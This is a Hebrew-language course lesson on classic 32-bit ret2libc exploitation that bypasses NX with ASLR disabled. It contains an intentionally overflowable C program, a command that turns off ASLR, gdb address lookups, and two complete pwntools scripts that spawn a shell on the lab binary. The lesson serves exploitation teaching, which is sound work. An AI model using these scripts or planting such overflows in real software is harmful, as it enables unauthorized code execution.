4.2 ret2libc קלאסי הרצאה
בפרק 3 הזרקנו shellcode למחסנית וקפצנו אליו, אבל זה עבד רק כי ה-NX היה כבוי. ברגע שה-NX פעיל, המחסנית מסומנת כלא-ניתנת-להרצה, וכל shellcode שנכתוב עליה יגרום ל-SIGSEGV ברגע שהמעבד ינסה להריץ אותו. בשיעור 2.3 עקפנו את הבעיה בכך שקפצנו לפונקציה שכבר קיימת בבינארי (ret2win), אבל בבינארים אמיתיים אין פונקציית מתנה שקוראת ל-system("/bin/sh") וממתינה לנו. אז לאן קופצים? הנה הטריק המרכזי של השיעור: libc ממופה בתוך כל תהליך, מסומנת כניתנת-להרצה, ומכילה בדיוק את מה שאנחנו צריכים - את הפונקציה system, ואפילו את המחרוזת "/bin/sh" בפנים. במקום להזריק קוד, נחזור לתוך קוד שכבר טעון בזיכרון. זה ret2libc, ונתחיל מהגרסה הכי נקייה שלו: 32 ביט עם ASLR כבוי.
הבעיה - NX חוסם את המחסנית¶
בואו נזכר מה בדיוק ה-NX עושה. הוא מסמן את המחסנית ואת ה-heap כ-rw- (קריאה וכתיבה, בלי הרצה), ומשאיר רק את מקטע הקוד כ-r-x. אנחנו עדיין שולטים בהreturn address בדיוק כמו קודם, אבל אין טעם להצביע בה למחסנית - שם אין קוד שאפשר להריץ. אנחנו חייבים להצביע לכתובת שכבר מסומנת כניתנת-להרצה.
מה מסומן כניתן-להרצה בכל תהליך? המקטע .text של הבינארי עצמו, וגם כל ספרייה משותפת שנטענת - ובראשן libc. הספרייה libc היא ענקית, היא ממופה לכל תוכנית C, והיא מלאה בפונקציות שימושיות. אחת מהן היא בדיוק זו שחלמנו עליה:
הפונקציה system מקבלת מחרוזת, מריצה אותה דרך /bin/sh -c, וזהו - יש לנו shell. אם נצליח לגרום לתוכנית לקרוא ל-system("/bin/sh"), סיימנו. וזה בדיוק מה שנעשה: נדרוס את הreturn address בכתובת של system בתוך libc, ונסדר את המחסנית כך שהארגומנט יהיה מצביע למחרוזת "/bin/sh".
הרעיון - חזרה לתוך libc - ret2libc¶
הרעיון בשם: return-to-libc, כלומר "לחזור אל libc". אנחנו לא מזריקים כלום ולא בונים chain ארוכה (עוד). אנחנו פשוט גורמים ל-ret של הפונקציה הvulnerable לקפוץ אל system שבתוך libc, כאילו מישהו קרא לה כרגיל.
כדי שזה יעבוד, system צריכה למצוא את הארגומנט שלה במקום שהיא מצפה לו. וכאן חוזר בדיוק מה שלמדנו על קונבנציית הקריאה של 32 ביט (cdecl) בשיעור 2.3: הארגומנטים עוברים על המחסנית, והפונקציה מצפה שברגע שהיא מתחילה לרוץ, בראש המחסנית תהיה הreturn address שלה, ומיד מעליה הארגומנט הראשון.
מבנה המחסנית ב-32 ביט - system, ret מזויף, מצביע ל-binsh¶
זה הלב של השיעור, ושווה להבין אותו לעומק. אחרי שדרסנו את הpadding עד הreturn address, אנחנו מסדרים שלושה ערכים ברצף:
low addresses (top of stack)
+------------------------------+
| padding | <-- fills buf and saved ebp
+------------------------------+
| address of system | <-- the ret of the vulnerable function jumps here
+------------------------------+
| fake return address for system| <-- where system returns to when the shell closes
+------------------------------+
| pointer to "/bin/sh" | <-- system's first argument
+------------------------------+
high addresses
בואו נעקוב אחרי הזרימה בית-אחר-בית:
- הפונקציה הvulnerable מבצעת
ret, שולפת מראש המחסנית את הכתובת שלsystemוקופצת אליה. - עכשיו
espמצביע על הסלוט הבא - "return address מזויפת".systemרצה, ובסוף כשהיא תבצעret, היא תקפוץ לסלוט הזה. - הסלוט שמעליו, "מצביע ל-
/bin/sh", הוא מה ש-systemתראה בתור הארגומנט הראשון שלה. היא תקרא/bin/shמהכתובת הזו.
שימו לב לסלוט האמצעי - "return address מזויפת". בדיוק כמו ב-ret2win עם ארגומנטים, הסלוט הזה חובה. system לא יודעת שהגענו אליה דרך overflow; היא מניחה שקראו לה כרגיל, ולכן היא מצפה שבראש המחסנית תהיה הreturn address שלה. אם נשמיט את הסלוט הזה, system תקרא את המצביע ל-/bin/sh בתור הreturn address שלה, והארגומנט יהיה זבל - הכל יזוז מקום אחד וזה ייכשל.
מה שמים בסלוט החזרה המזויף? כל כתובת חוקית שאליה system תוכל לחזור בשלום כשה-shell ייסגר. אם לא אכפת לנו, אפשר לשים ערך דמה - התוכנית פשוט תקרוס אחרי שנסגור את ה-shell. אבל הצורה הנקייה היא לשים שם את הכתובת של exit, כך שברגע שנצא מה-shell התוכנית תסתיים בשקט בלי SIGSEGV:
+------------------------------+
| address of system |
+------------------------------+
| address of exit (instead of junk) | <-- clean exit when the shell closes
+------------------------------+
| pointer to "/bin/sh" |
+------------------------------+
עכשיו יש לנו את המבנה. חסרות לנו שלוש כתובות: של system, של המחרוזת "/bin/sh", ושל exit. בואו נמצא אותן.
הנחות ההגנה - למה מתחילים עם ASLR כבוי¶
לפני שנמצא כתובות, נקבע את הנחות הסביבה. הבינארי שנתקוף:
architecture: 32-bit (i386)
NX: enabled -> no shellcode on the stack
Canary: off -> the overflow isn't caught
PIE: off -> the binary itself is at a fixed address
ASLR: off (for now) -> libc at a fixed address every run
הנקודה הקריטית היא ה-ASLR. כשה-ASLR פעיל, הכתובת שבה libc נטענת משתנה בכל הרצה, ולכן הכתובת של system משתנה כל פעם - ואנחנו לא יכולים לכתוב אותה מראש בpayload. כדי ללמוד את המכניקה של ret2libc בלי הרעש הזה, נכבה את ה-ASLR זמנית, וכך הכתובת של system תהיה זהה בכל הרצה. זה מלמד אותנו את הטכניקה בצורה נקייה.
# temporarily disable ASLR (until reboot or until you set 2 back)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
חשוב להיות כנים: בעולם האמיתי ASLR כמעט תמיד פעיל, ואז ret2libc לבד לא מספיק - צריך קודם לדלוף כתובת מ-libc כדי לחשב את הבסיס שלה. זה בדיוק הנושא של שיעור 4.4 (libc leak ועקיפת ASLR). כאן אנחנו בונים את היסוד: איך מרכיבים את הקריאה ל-system ברגע שהכתובות ידועות.
הבינארי לדוגמה¶
לאורך השיעור נעבוד עם הבינארי הפשוט הבא. שימו לב שאין בו שום פונקציית win ואין בו system - הוא רק קורא קלט לתוך buffer קטן מדי:
// vuln.c
#include <stdio.h>
#include <unistd.h>
void vuln() {
char buf[64];
puts("send bytes:");
read(0, buf, 200); // 200 bytes into a 64-byte buffer - overflow
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
נקמפל ל-32 ביט, בלי canary ובלי PIE (ה-NX פעיל כברירת מחדל):
ונאמת עם checksec:
בדיוק כמו שרצינו. השתמשנו ב-read בכוונה כי הוא קורא בתים גולמיים כולל \x00, כך שכתובות עם בתים אפסיים לא ייחתכו.
מציאת הכתובות של system, exit ו-binsh¶
יש כמה דרכים. הכי ישירה, כשה-ASLR כבוי, היא לשאול את gdb בזמן ריצה. נטען את הבינארי, נריץ עד שה-libc כבר ממופה, ונשאל את הכתובות:
$ gdb -q ./vuln
pwndbg> break main
pwndbg> run
pwndbg> p system
$1 = {int (const char *)} 0xf7e0c8d0 <system>
pwndbg> p exit
$2 = {void (int)} 0xf7dfe850 <exit>
הכתובת של system היא 0xf7e0c8d0, ושל exit היא 0xf7dfe850. שימו לב: זה עובד רק אחרי ש-libc נטענה (לכן עצרנו ב-main ולא לפני), וזה יציב בין הרצות רק כי כיבינו ASLR.
עכשיו המחרוזת "/bin/sh". היא נמצאת כמעט תמיד בתוך libc עצמה, כחלק מהנתונים שלה. ב-pwndbg מחפשים אותה עם search:
או, ב-gdb רגיל בלי pwndbg, מחפשים בזיכרון החל מכתובת system והלאה:
מצאנו: המחרוזת "/bin/sh" יושבת בכתובת 0xf7f4d4af. שלוש הכתובות שלנו מוכנות:
חשוב: הכתובות האלה הן דוגמה מהמערכת שלי, והן תלויות בגרסת ה-libc המדויקת שמותקנת אצלכם. אל תעתיקו אותן עיוור - שלפו אותן מה-libc שלכם. לזיהוי איזו libc בכלל נטענת, השתמשו ב-ldd:
$ ldd ./vuln
linux-gate.so.1 (0xf7fc7000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dd4000)
/lib/ld-linux.so.2 (0xf7fc9000)
השורה של libc.so.6 מראה גם את הנתיב לספרייה וגם את כתובת הבסיס שאליה היא נטענה (שוב, יציבה רק כי ASLR כבוי).
הpayload - exploit ידני¶
נמצא קודם את ה-offset עד הreturn address בשיטת ה-cyclic מ-2.2. עבור buffer של 64 בתים ב-32 ביט, ה-offset יצא אצלי 76 (הbuffer, padding alignment של המהדר, ו-saved ebp של 4 בתים). אל תניחו - תמדדו בעצמכם. עכשיו מרכיבים את שלושת הערכים לפי המבנה שראינו:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./vuln')
system = 0xf7e0c8d0
exit_a = 0xf7dfe850
binsh = 0xf7f4d4af
offset = 76
payload = flat({offset: [
system, # overwrites the return address -> jumps to system
exit_a, # fake return address for system (clean exit)
binsh, # system's first argument: pointer to "/bin/sh"
]})
p = process('./vuln')
p.recvuntil(b'send bytes:')
p.sendline(payload)
p.interactive()
מריצים, ומקבלים shell:
[+] Starting local process './vuln': pid 12345
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) ...
$ cat flag
זהו. שלוש כתובות על המחסנית, בלי גאדג'ט אחד, וקיבלנו shell. זו הסיבה שדווקא ret2libc ב-32 ביט הוא נקודת הכניסה המושלמת לעולם עקיפת ה-NX: הכל על המחסנית, בלי הקסמים של אוגרים.
הדרך הנקייה - pwntools מחשב את הכתובות לבד¶
לכתוב כתובות ביד זה טוב להבנה, אבל לא נעים לתחזוקה - בכל מעבר בין מכונות תצטרכו לחזור ל-gdb. הדרך המקצועית היא לתת ל-pwntools לחשב הכל מתוך אובייקט ה-libc. כשה-ASLR כבוי, אפשר לשלוף את כתובת הבסיס של libc ישירות מהתהליך, ואז לתת ל-pwntools לחשב את system ואת binsh ממנה:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./vuln')
libc = elf.libc # the libc the binary loads, per ldd
p = process('./vuln')
# ASLR off -> libc base is stable, grab it from the process's mapping table
libc.address = p.libs()[libc.path]
log.info('libc base = %#x', libc.address)
system = libc.symbols['system']
exit_a = libc.symbols['exit']
binsh = next(libc.search(b'/bin/sh\x00')) # pwntools finds the string on its own
log.info('system=%#x exit=%#x binsh=%#x', system, exit_a, binsh)
offset = 76
payload = flat({offset: [system, exit_a, binsh]})
p.recvuntil(b'send bytes:')
p.sendline(payload)
p.interactive()
שני דברים חשובים כאן. ראשית, libc.search(b'/bin/sh\x00') מוצא את המחרוזת בתוך ה-libc אוטומטית, כך שלא צריך לרוץ ל-gdb כדי לחפש אותה - שימו לב שהוספנו את בית ה-null בסוף כדי לקבל מחרוזת שמסתיימת נכון. שנית, ברגע שנציב libc.address, כל הסימבולים והחיפושים מחזירים כתובות ריצה אמיתיות ולא רק היסטים בתוך הקובץ. זה בדיוק אותו סקריפט שנשתמש בו בשיעור 4.4, רק ששם את libc.address נחשב מתוך leak במקום לשלוף מהתהליך.
אם המחרוזת /bin/sh לא בנמצא - טריק משתנה הסביבה¶
כמעט תמיד "/bin/sh" יושבת בתוך libc, אבל מה עושים במקרה הנדיר שהיא לא שם, או כשרוצים מחרוזת בשליטה מלאה? מכניסים אותה בעצמנו לזיכרון התהליך דרך משתנה סביבה. משתני הסביבה נשמרים בראש המחסנית (בכתובות הגבוהות), וכש-ASLR כבוי המיקום שלהם דטרמיניסטי:
כדי למצוא את הכתובת של המחרוזת על המחסנית, מחפשים אותה ב-gdb:
אחר כך מציבים בpayload את הכתובת הזו (0xffffd6e2) במקום המצביע שמצאנו ב-libc. שימו לב שהכתובת על המחסנית רגישה יותר - היא זזה אם משתנים אורך שם התוכנית או מספר משתני הסביבה - אז עדיף להשתמש במחרוזת שבתוך libc כשהיא זמינה, ובטריק הזה רק כשאין ברירה. בעולם עם ASLR פעיל הטריק הזה מאבד את היציבות שלו לגמרי, ואז חוזרים למחרוזת שבתוך libc (שכתובתה נגזרת מהleak).
למה דווקא 32 ביט קל - הצצה ל-64 ביט¶
אולי שמתם לב שכל השיעור היה נטול גאדג'טים. זה לא מקרי. ב-32 ביט הארגומנטים עוברים על המחסנית, ואנחנו שולטים במחסנית - אז כל מה שצריך זה לסדר [system] [ret] [arg] ברצף, וזהו.
ב-64 ביט הסיפור שונה. שם הארגומנט הראשון עובר באוגר rdi, לא על המחסנית, ואנחנו לא שולטים באוגרים ישירות. כדי לקרוא ל-system("/bin/sh") ב-64 ביט נצטרך גאדג'ט pop rdi ; ret שיטען את המצביע ל-rdi, בדיוק כמו שראינו ב-ret2win של 2.3. זו כבר ROP chain קטנה, ובדיוק לשם אנחנו הולכים בשיעור הבא (4.3 - ROP וגאדג'טים). בקיצור: ret2libc הוא אותו רעיון בשתי הארכיטקטורות, אבל ב-64 ביט צריך גאדג'ט אחד כדי להעביר את הארגומנט.
מלכודות נפוצות¶
- ה-offset חייב להיות מדויק. מדדו אותו עם
cyclicלכל בינארי בנפרד. buffer באותו גודל עם דגלי מהדר שונים יכול לתת offset שונה בגלל padding alignment. - שיטת הקלט קובעת אילו בתים מותרים.
readו-freadקוראים בתים גולמיים כולל\x00, אז כתובותlibc(שמכילות אפסים) עוברות. לעומת זאתgets,scanf("%s")ו-strcpyעוצרים ב-null - ואז כתובת עם בית אפס תיחתך, וצריך טריקים. - המחרוזת
"/bin/sh"חייבת להסתיים ב-null. עםlibc.searchהשתמשו ב-b'/bin/sh\x00'כדי לקבל מצביע לגרסה שמסתיימת נכון. - הכתובות שייכות ל-
libcהמדויקת של המטרה. אם תיקחו כתובתsystemמה-libcשל המכונה שלכם ותשתמשו בה מול שרת עםlibcאחרת, זה ייכשל. תמיד עבדו מול ה-libcהנכונה (זהו אותה עםldd, או קבלו את קובץ ה-libcשל המטרה). - סלוט החזרה המזויף חובה. בלעדיו הכל מוזז מקום אחד. אם רק רוצים shell ולא אכפת מיציאה נקייה, כל ערך שם יעבוד, אבל הסלוט חייב להיות קיים.
- כל זה עובד רק עם ASLR כבוי (או אחרי leak). אם פתאום ה-exploit מפסיק לעבוד בין הרצות, בדקו ש-
randomize_va_spaceעדיין0.
סיכום¶
- כשה-NX חוסם shellcode על המחסנית, במקום להזריק קוד חוזרים לתוך קוד שכבר טעון: זו טכניקת
ret2libc. - הספרייה
libcממופה בכל תהליך, ניתנת להרצה, ומכילה אתsystemואת המחרוזת"/bin/sh"- כל מה שצריך ל-shell. - ב-32 ביט (cdecl) המבנה על המחסנית הוא
[כתובת system] [return address מזויפת] [מצביע ל-"/bin/sh"]. סלוט החזרה המזויף חובה, וכדאי לשים בו אתexitליציאה נקייה. - מוצאים את הכתובות עם
p system/p exitב-gdb, את המחרוזת עםsearch/find, ואת ה-libcהנכונה עםldd. ב-pwntools משתמשים ב-libc.symbolsוב-libc.search. - מתחילים עם ASLR כבוי (
echo 0 > randomize_va_space) כדי ללמוד את המכניקה בכתובות יציבות. בעולם האמיתי צריך קודם לדלוף כתובת libc - נושא של 4.4. - ב-64 ביט אותו רעיון דורש גאדג'ט
pop rdi ; retכדי להעביר את הארגומנט ב-rdi, וזה הגשר ל-ROP המלא בשיעור 4.3.